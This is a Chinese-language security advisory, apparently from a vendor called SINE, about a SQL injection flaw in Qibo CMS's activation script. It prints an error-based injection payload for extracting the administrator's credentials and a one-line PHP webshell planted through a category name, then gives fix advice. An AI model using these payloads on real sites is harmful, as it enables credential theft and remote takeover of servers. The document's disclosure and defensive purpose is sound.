齊博cms最新SQL隱碼攻擊網站漏洞可遠端執行程式碼提權

網站安全發表於2018-10-25

齊博cms整站系統,是目前建站系統用的較多的一款CMS系統,開源,免費,第三方擴充套件化,介面視覺化的操作,使用簡單,便於新手使用和第二次開發,受到許多站長們的喜歡。開發架構使用的是php語言以及mysql資料庫,強大的網站併發能力。於近日,我們SINE安全公司發現齊博cms又爆出高危的sql注入漏洞,關於該網站漏洞的詳情,我們來詳細的分析漏洞的產生以及如何利用。

在對整個網站程式碼的漏洞檢測中發現do目錄下的activate.php存在可以插入惡意引數的變數值,我們來看下這個程式碼:

b42dae0bbc6f4173b9bcbeea10ed7e55.png

齊博cms漏洞詳情:

從程式碼裡發現這個程式碼的功能是傳送序列號啟用的一個功能,從啟用的連結地址裡,可以看出do/activate.php?job=activate&safe_id=$safe_id 是用來啟用序列號的,我們從整個齊博的程式碼裡找到了賬號啟用的一個大體的過程,首先會註冊一個賬號,註冊賬號後會需要傳送郵件到使用者的郵箱裡,郵箱裡驗證的是safe_id這個值,這個safe_id這個值經過md5的解密後直接生成uaername跟使用者的密碼,然後再傳入到get_safe()這個函式,在這個inc資料夾下的class.user.php程式碼裡找得到這個函式。

我們發現這個get_safe()函式是用來傳遞使用者的啟用資訊,並進行安全過濾與判斷的,從這裡我們可以插入惡意的sql語句到網站後端裡去,並直接到資料庫中執行該語句,我們本地來測試一下是否可以sql注入:

3564471b75864333ab34b434d54ff131.png

從上圖我們可以看出可以進行網站sql注入攻擊,那麼我們就可以進行查詢資料庫的賬號密碼操作,比如查詢網站超級管理員的賬號密碼:and (updatexml(1,concat(0x7e,(substring((selectusername from qb_memberdata where groupid=3),1, 這個語句就是查詢超級管理員的賬號密碼,通過這裡我們查到網站的管理員賬號密碼,登入後臺,我們進行遠端程式碼提權了。

741588419fe849208d9b85abfe109f0c.png

增加欄目為${assert($_POST[safe])},一句話後門的程式碼會直接寫入到/data/guide_fid.php檔案,用一句話木馬連線工具連線即可。

關於齊博cms漏洞的修復,我們SINE安全建議網站的運用者,儘快升級齊博CMS到最新版本,對於sql注入語句進行安全過濾與sql注入防護,對網站的後臺預設地址進行詳細的更改為其他的檔名。對於前端網站進行sql語句查詢的時候進行網站安全白名單系統部署,網站後臺的賬號密碼設定的複雜一些,儘可能的用數字+大小寫+特殊字元組合。


相關文章